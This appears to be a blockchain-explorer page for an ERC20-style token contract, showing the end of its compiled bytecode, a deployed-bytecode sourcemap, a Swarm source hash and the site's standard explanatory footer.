b81526004016103859190611103565b505f610d8c8486611406565b5f602080835283518060208501525f5b8181101561112f57858101830151858201604001528201611113565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611163575f80fd5b50565b5f8060408385031215611177575f80fd5b82356111828161114f565b946020939093013593505050565b5f805f606084860312156111a2575f80fd5b83356111ad8161114f565b925060208401356111bd8161114f565b929592945050506040919091013590565b5f602082840312156111de575f80fd5b8135610df38161114f565b5f80604083850312156111fa575f80fd5b82356112058161114f565b915060208301356112158161114f565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561126e57815f190482111561125457611254611220565b8085161561126157918102915b93841c9390800290611239565b509250929050565b5f82611284575060016102cf565b8161129057505f6102cf565b81600181146112a657600281146112b0576112cc565b60019150506102cf565b60ff8411156112c1576112c1611220565b50506001821b6102cf565b5060208310610133831016604e8410600b84101617156112ef575081810a6102cf565b6112f98383611234565b805f190482111561130c5761130c611220565b029392505050565b5f610df360ff841683611276565b80820281158282048414176102cf576102cf611220565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f60608486031215611380575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156113a9575f80fd5b8151610df38161114f565b634e487b7160e01b5f52603260045260245ffd5b808201808211156102cf576102cf611220565b5f600182016113ec576113ec611220565b5060010190565b818103818111156102cf576102cf611220565b5f8261142057634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156114755784516001600160a01b031683529383019391830191600101611450565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220114fd466567aac01dc665132cbdb92069d12de99338a0a58aff33693640d18d164736f6c63430008180033

Deployed Bytecode Sourcemap

3655:6545:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5525:83;;;;;;;;;;-1:-1:-1;5595:5:0;;;;;;;;;;;;-1:-1:-1;;;5595:5:0;;;;5525:83;;;;;;;:::i;:::-;;;;;;;;6356:161;;;;;;;;;;-1:-1:-1;6356:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6356:161:0;1023:187:1;5802:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5802:95:0;1215:177:1;6525:313:0;;;;;;;;;;-1:-1:-1;6525:313:0;;;;;:::i;:::-;;:::i;5711:83::-;;;;;;;;;;-1:-1:-1;5711:83:0;;4069:1;2000:36:1;;1988:2;1973:18;5711:83:0;1858:184:1;5905:117:0;;;;;;;;;;-1:-1:-1;5905:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;5998:16:0;5971:7;5998:16;;;:7;:16;;;;;;;5905:117;3498:148;;;;;;;;;;;;;:::i;:::-;;3284:79;;;;;;;;;;-1:-1:-1;3322:7:0;3349:6;3284:79;;-1:-1:-1;;;;;3349:6:0;;;2445:51:1;;2433:2;2418:18;3284:79:0;2299:203:1;5616:87:0;;;;;;;;;;-1:-1:-1;5688:7:0;;;;;;;;;;;;-1:-1:-1;;;5688:7:0;;;;5616:87;;6030:167;;;;;;;;;;-1:-1:-1;6030:167:0;;;;;:::i;:::-;;:::i;5204:313::-;;;;;;;;;;;;;:::i;6205:143::-;;;;;;;;;;-1:-1:-1;6205:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6313:18:0;;;6286:7;6313:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6205:143;9172:292;;;;;;;;;;;;;:::i;6356:161::-;6431:4;6448:39;2941:10;6471:7;6480:6;6448:8;:39::i;:::-;-1:-1:-1;6505:4:0;6356:161;;;;;:::o;5802:95::-;5855:7;4125:13;4069:1;4125:2;:13;:::i;:::-;4112:26;;:10;:26;:::i;:::-;5875:14;;5802:95;:::o;6525:313::-;6623:4;6640:36;6650:6;6658:9;6669:6;6640:9;:36::i;:::-;6687:121;6696:6;2941:10;6718:89;6756:6;6718:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6718:19:0;;;;;;:11;:19;;;;;;;;2941:10;6718:33;;;;;;;;;;:37;:89::i;:::-;6687:8;:121::i;:::-;-1:-1:-1;6826:4:0;6525:313;;;;;:::o;3498:148::-;3411:6;;-1:-1:-1;;;;;3411:6:0;2941:10;3411:22;3403:67;;;;-1:-1:-1;;;3403:67:0;;;;;;;:::i;:::-;;;;;;;;;3605:1:::1;3589:6:::0;;3568:40:::1;::::0;-1:-1:-1;;;;;3589:6:0;;::::1;::::0;3568:40:::1;::::0;3605:1;;3568:40:::1;3636:1;3619:19:::0;;-1:-1:-1;;;;;;3619:19:0::1;::::0;;3498:148::o;6030:167::-;6108:4;6125:42;2941:10;6149:9;6160:6;6125:9;:42::i;5204:313::-;3411:6;;-1:-1:-1;;;;;3411:6:0;2941:10;3411:22;3403:67;;;;-1:-1:-1;;;3403:67:0;;;;;;;:::i;:::-;5268:15:::1;::::0;::::1;::::0;::::1;;;5267:16;5259:51;;;::::0;-1:-1:-1;;;5259:51:0;;5145:2:1;5259:51:0::1;::::0;::::1;5127:21:1::0;5184:2;5164:18;;;5157:30;5223:25;5203:18;;;5196:53;5266:18;;5259:51:0::1;4943:347:1::0;5259:51:0::1;5321:11;::::0;5387:4:::1;5971:7:::0;5998:16;;;:7;:16;;;;;;5321:11;;;::::1;-1:-1:-1::0;;;;;5321:11:0::1;::::0;:27:::1;::::0;5356:21:::1;::::0;5418:1:::1;5420::::0;5422:7:::1;3322::::0;3349:6;-1:-1:-1;;;;;3349:6:0;;3284:79;5422:7:::1;5321:125;::::0;::::1;::::0;;;-1:-1:-1;;;;;;5321:125:0;;;-1:-1:-1;;;;;5654:15:1;;;5321:125:0::1;::::0;::::1;5636:34:1::0;5686:18;;;5679:34;;;;5729:18;;;5722:34;;;;5772:18;;;5765:34;5836:15;;;5815:19;;;5808:44;5430:15:0::1;5868:19:1::0;;;5861:35;5570:19;;5321:125:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;5457:12:0::1;:19:::0;;-1:-1:-1;;5487:22:0;;;;;-1:-1:-1;5204:313:0:o;9172:292::-;3411:6;;-1:-1:-1;;;;;3411:6:0;2941:10;3411:22;3403:67;;;;-1:-1:-1;;;3403:67:0;;;;;;;:::i;:::-;9220:11:::1;:68:::0;;-1:-1:-1;;;;;;9220:68:0::1;::::0;::::1;::::0;;;;9299:54:::1;::::0;9316:4:::1;::::0;-1:-1:-1;;;;;9220:68:0;9331:11;;::::1;;4125:13;4069:1;4125:2;:13;:::i;:::-;4112:26;::::0;:10:::1;:26;:::i;9299:54::-;9388:11;;;;;;;;;-1:-1:-1::0;;;;;9388:11:0::1;-1:-1:-1::0;;;;;9388:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9376:45:0::1;;9430:4;9437:11;;;;;;;;;-1:-1:-1::0;;;;;9437:11:0::1;-1:-1:-1::0;;;;;9437:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9376:80;::::0;-1:-1:-1;;;;;;9376:80:0::1;::::0;;;;;;-1:-1:-1;;;;;6704:15:1;;;9376:80:0::1;::::0;::::1;6686:34:1::0;6756:15;;6736:18;;;6729:43;6621:18;;9376:80:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9364:9;:92:::0;;-1:-1:-1;;;;;;9364:92:0::1;-1:-1:-1::0;;;;;9364:92:0;;;::::1;::::0;;;::::1;::::0;;9172:292::o;6846:335::-;-1:-1:-1;;;;;6939:19:0;;6931:68;;;;-1:-1:-1;;;6931:68:0;;6985:2:1;6931:68:0;;;6967:21:1;7024:2;7004:18;;;6997:30;7063:34;7043:18;;;7036:62;-1:-1:-1;;;7114:18:1;;;7107:34;7158:19;;6931:68:0;6783:400:1;6931:68:0;-1:-1:-1;;;;;7018:21:0;;7010:68;;;;-1:-1:-1;;;7010:68:0;;7390:2:1;7010:68:0;;;7372:21:1;7429:2;7409:18;;;7402:30;7468:34;7448:18;;;7441:62;-1:-1:-1;;;7519:18:1;;;7512:32;7561:19;;7010:68:0;7188:398:1;7010:68:0;-1:-1:-1;;;;;7089:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7141:32;;1361:25:1;;;7141:32:0;;1334:18:1;7141:32:0;;;;;;;6846:335;;;:::o;7189:1975::-;-1:-1:-1;;;;;7289:21:0;;7281:71;;;;-1:-1:-1;;;7281:71:0;;7793:2:1;7281:71:0;;;7775:21:1;7832:2;7812:18;;;7805:30;7871:34;7851:18;;;7844:62;-1:-1:-1;;;7922:18:1;;;7915:35;7967:19;;7281:71:0;7591:401:1;7281:71:0;-1:-1:-1;;;;;7371:24:0;;7363:72;;;;-1:-1:-1;;;7363:72:0;;8199:2:1;7363:72:0;;;8181:21:1;8238:2;8218:18;;;8211:30;8277:34;8257:18;;;8250:62;-1:-1:-1;;;8328:18:1;;;8321:33;8371:19;;7363:72:0;7997:399:1;7363:72:0;7464:1;7454:7;:11;7446:65;;;;-1:-1:-1;;;7446:65:0;;8603:2:1;7446:65:0;;;8585:21:1;8642:2;8622:18;;;8615:30;8681:34;8661:18;;;8654:62;-1:-1:-1;;;8732:18:1;;;8725:39;8781:19;;7446:65:0;8401:405:1;7446:65:0;7524:16;7608:22;4125:13;4069:1;4125:2;:13;:::i;:::-;4112:26;;:10;:26;:::i;:::-;7608:9;;;:13;:22::i;:::-;-1:-1:-1;;;;;7553:20:0;;;;;;;:11;:20;;;;;;;;7574:29;;;;;;;7575:11;;;;;7574:29;;;;;;;;;7553:51;;;;;;;;;:77;;:51;;:20;:77;;;;;:::i;:::-;;;;-1:-1:-1;7696:22:0;;-1:-1:-1;4125:13:0;4069:1;4125:2;:13;:::i;7696:22::-;-1:-1:-1;;;;;7641:20:0;;;;;;;:11;:20;;;;;;;;7662:29;;;;;;;7663:11;;;;;7662:29;;;;;;;;;7641:51;;;;;;;;;:77;;:51;;:20;:77;;;;;:::i;:::-;;;;-1:-1:-1;;3322:7:0;3349:6;-1:-1:-1;;;;;7733:18:0;;;3349:6;;7733:18;;;;:43;;-1:-1:-1;3322:7:0;3349:6;-1:-1:-1;;;;;7755:21:0;;;3349:6;;7755:21;;7733:43;7729:1055;;;7804:77;7877:3;7804:68;7827:15;;7817:9;;:25;7816:55;;7857:14;;7816:55;;;7844:12;;7816:55;7804:7;;:11;:68::i;:::-;:72;;:77::i;:::-;7913:9;;7793:88;;-1:-1:-1;;;;;;7902:20:0;;;7913:9;;7902:20;:58;;;;-1:-1:-1;7948:11:0;;-1:-1:-1;;;;;7926:34:0;;;7948:11;;;;;7926:34;;7902:58;:91;;;;-1:-1:-1;;;;;;7966:27:0;;;;;;:15;:27;;;;;;;;7964:29;7902:91;7898:143;;;8014:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7898:143;8074:9;;-1:-1:-1;;;;;8060:23:0;;;8074:9;;8060:23;:50;;;;-1:-1:-1;;;;;;8087:23:0;;8105:4;8087:23;;8060:50;8057:181;;;8142:80;8218:3;8142:71;8165:16;;8155:9;;:26;8154:58;;8197:15;;8154:58;;;8183:13;;8142:7;;:11;:71::i;:80::-;8131:91;;8057:181;8303:4;8254:28;5998:16;;;:7;:16;;;;;;8329:6;;;;8328:7;:34;;;;-1:-1:-1;8353:9:0;;-1:-1:-1;;;;;8339:23:0;;;8353:9;;8339:23;8328:34;:50;;;;-1:-1:-1;8366:12:0;;;;;;;8328:50;:84;;;;;8394:18;;8382:9;;:30;8328:84;8324:449;;;8459:13;;8436:20;:36;8433:130;;;8491:72;8508:54;8512:7;8521:40;8525:20;8547:13;;8521:3;:40::i;:::-;8508:3;:54::i;:::-;8491:16;:72::i;:::-;8611:21;8703:35;8716:21;8703:12;:35::i;:::-;8414:359;8324:449;7778:1006;7729:1055;8799:10;;8796:157;;8862:4;8846:22;;;;:7;:22;;;;;;:36;;8873:8;8846:26;:36::i;:::-;8839:4;8823:22;;;;:7;:22;;;;;;;:59;;;;8900:41;;-1:-1:-1;;;;;8900:41:0;;;;;;;8932:8;1361:25:1;;1349:2;1334:18;;1215:177;8900:41:0;;;;;;;;8796:157;-1:-1:-1;;;;;8982:16:0;;;;;;:7;:16;;;;;;:29;;9003:7;8982:20;:29::i;:::-;-1:-1:-1;;;;;8965:16:0;;;;;;:7;:16;;;;;:46;9042;9066:21;:7;9078:8;9066:11;:21::i;:::-;-1:-1:-1;;;;;9042:19:0;;;;;;:7;:19;;;;;;;:23;:46::i;:::-;-1:-1:-1;;;;;9022:19:0;;;;;;;:7;:19;;;;;:66;;;;9104:52;;;9134:21;:7;9146:8;9134:11;:21::i;:::-;9104:52;;1361:25:1;;;1349:2;1334:18;9104:52:0;;;;;;;7270:1894;7189:1975;;;:::o;1361:190::-;1447:7;1483:12;1475:6;;;;1467:29;;;;-1:-1:-1;;;1467:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1507:9:0;1519:5;1523:1;1519;:5;:::i;:::-;1507:17;1361:190;-1:-1:-1;;;;;1361:190:0:o;1030:179::-;1088:7;;1120:5;1124:1;1120;:5;:::i;:::-;1108:17;;1149:1;1144;:6;;1136:46;;;;-1:-1:-1;;;1136:46:0;;9548:2:1;1136:46:0;;;9530:21:1;9587:2;9567:18;;;9560:30;9626:29;9606:18;;;9599:57;9673:18;;1136:46:0;9346:351:1;1136:46:0;1200:1;1030:179;-1:-1:-1;;;1030:179:0:o;1559:246::-;1617:7;1641:1;1646;1641:6;1637:47;;-1:-1:-1;1671:1:0;1664:8;;1637:47;1694:9;1706:5;1710:1;1706;:5;:::i;:::-;1694:17;-1:-1:-1;1739:1:0;1730:5;1734:1;1694:17;1730:5;:::i;:::-;:10;1722:56;;;;-1:-1:-1;;;1722:56:0;;10126:2:1;1722:56:0;;;10108:21:1;10165:2;10145:18;;;10138:30;10204:34;10184:18;;;10177:62;-1:-1:-1;;;10255:18:1;;;10248:31;10296:19;;1722:56:0;9924:397:1;1813:132:0;1871:7;1898:39;1902:1;1905;1898:39;;;;;;;;;;;;;;;;;:3;:39::i;9509:99::-;9566:7;9594:1;9592;:3;9591:9;;9599:1;9591:9;;;-1:-1:-1;9597:1:0;9509:99;-1:-1:-1;9509:99:0:o;9726:471::-;4766:6;:13;;-1:-1:-1;;4766:13:0;4775:4;4766:13;;;9828:16:::1;::::0;;9842:1:::1;9828:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9828:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9828:16:0::1;9804:40;;9873:4;9855;9860:1;9855:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;9855:23:0::1;;;-1:-1:-1::0;;;;;9855:23:0::1;;;::::0;::::1;9899:11;;;;;;;;;-1:-1:-1::0;;;;;9899:11:0::1;-1:-1:-1::0;;;;;9899:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9889:4;9894:1;9889:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9889:28:0;;::::1;:7;::::0;;::::1;::::0;;;;;:28;9960:11:::1;::::0;9928:58:::1;::::0;9945:4:::1;::::0;9960:11;;::::1;;9974::::0;9928:8:::1;:58::i;:::-;9997:11;::::0;:192:::1;::::0;-1:-1:-1;;;9997:192:0;;:11;;;::::1;-1:-1:-1::0;;;;;9997:11:0::1;::::0;:62:::1;::::0;:192:::1;::::0;10074:11;;10100:1:::1;::::0;10116:4;;10143::::1;::::0;10163:15:::1;::::0;9997:192:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4802:6:0;:14;;-1:-1:-1;;4802:14:0;;;-1:-1:-1;;;;9726:471:0:o;9616:102::-;9681:11;;9673:37;;-1:-1:-1;;;;;9681:11:0;;;;9673:37;;;;;9703:6;;9681:11;9673:37;9681:11;9673:37;9703:6;9681:11;9673:37;;;;;;;;;;;;;;;;;;;;;9616:102;:::o;1217:136::-;1275:7;1302:43;1306:1;1309;1302:43;;;;;;;;;;;;;;;;;:3;:43::i;1953:189::-;2039:7;2074:12;2067:5;2059:28;;;;-1:-1:-1;;;2059:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2098:9:0;2110:5;2114:1;2110;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:416;3121:1;3158:5;3121:1;3172:270;3193:7;3183:8;3180:21;3172:270;;;3252:4;3248:1;3244:6;3240:17;3234:4;3231:27;3228:53;;;3261:18;;:::i;:::-;3311:7;3301:8;3297:22;3294:55;;;3331:16;;;;3294:55;3410:22;;;;3370:15;;;;3172:270;;;3176:3;3032:416;;;;;:::o;3453:806::-;3502:5;3532:8;3522:80;;-1:-1:-1;3573:1:1;3587:5;;3522:80;3621:4;3611:76;;-1:-1:-1;3658:1:1;3672:5;;3611:76;3703:4;3721:1;3716:59;;;;3789:1;3784:130;;;;3696:218;;3716:59;3746:1;3737:10;;3760:5;;;3784:130;3821:3;3811:8;3808:17;3805:43;;;3828:18;;:::i;:::-;-1:-1:-1;;3884:1:1;3870:16;;3899:5;;3696:218;;3998:2;3988:8;3985:16;3979:3;3973:4;3970:13;3966:36;3960:2;3950:8;3947:16;3942:2;3936:4;3933:12;3929:35;3926:77;3923:159;;;-1:-1:-1;4035:19:1;;;4067:5;;3923:159;4114:34;4139:8;4133:4;4114:34;:::i;:::-;4184:6;4180:1;4176:6;4172:19;4163:7;4160:32;4157:58;;;4195:18;;:::i;:::-;4233:20;;3453:806;-1:-1:-1;;;3453:806:1:o;4264:140::-;4322:5;4351:47;4392:4;4382:8;4378:19;4372:4;4351:47;:::i;4409:168::-;4482:9;;;4513;;4530:15;;;4524:22;;4510:37;4500:71;;4551:18;;:::i;4582:356::-;4784:2;4766:21;;;4803:18;;;4796:30;4862:34;4857:2;4842:18;;4835:62;4929:2;4914:18;;4582:356::o;5907:306::-;5995:6;6003;6011;6064:2;6052:9;6043:7;6039:23;6035:32;6032:52;;;6080:1;6077;6070:12;6032:52;6109:9;6103:16;6093:26;;6159:2;6148:9;6144:18;6138:25;6128:35;;6203:2;6192:9;6188:18;6182:25;6172:35;;5907:306;;;;;:::o;6218:251::-;6288:6;6341:2;6329:9;6320:7;6316:23;6312:32;6309:52;;;6357:1;6354;6347:12;6309:52;6389:9;6383:16;6408:31;6433:5;6408:31;:::i;8811:127::-;8872:10;8867:3;8863:20;8860:1;8853:31;8903:4;8900:1;8893:15;8927:4;8924:1;8917:15;8943:125;9008:9;;;9029:10;;;9026:36;;;9042:18;;:::i;9073:135::-;9112:3;9133:17;;;9130:43;;9153:18;;:::i;:::-;-1:-1:-1;9200:1:1;9189:13;;9073:135::o;9213:128::-;9280:9;;;9301:11;;;9298:37;;;9315:18;;:::i;9702:217::-;9742:1;9768;9758:132;;9812:10;9807:3;9803:20;9800:1;9793:31;9847:4;9844:1;9837:15;9875:4;9872:1;9865:15;9758:132;-1:-1:-1;9904:9:1;;9702:217::o;10458:980::-;10720:4;10768:3;10757:9;10753:19;10799:6;10788:9;10781:25;10825:2;10863:6;10858:2;10847:9;10843:18;10836:34;10906:3;10901:2;10890:9;10886:18;10879:31;10930:6;10965;10959:13;10996:6;10988;10981:22;11034:3;11023:9;11019:19;11012:26;;11073:2;11065:6;11061:15;11047:29;;11094:1;11104:195;11118:6;11115:1;11112:13;11104:195;;;11183:13;;-1:-1:-1;;;;;11179:39:1;11167:52;;11274:15;;;;11239:12;;;;11215:1;11133:9;11104:195;;;-1:-1:-1;;;;;;;11355:32:1;;;;11350:2;11335:18;;11328:60;-1:-1:-1;;;11419:3:1;11404:19;11397:35;11316:3;10458:980;-1:-1:-1;;;10458:980:1:o

Swarm Source

ipfs://114fd466567aac01dc665132cbdb92069d12de99338a0a58aff33693640d18d1
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.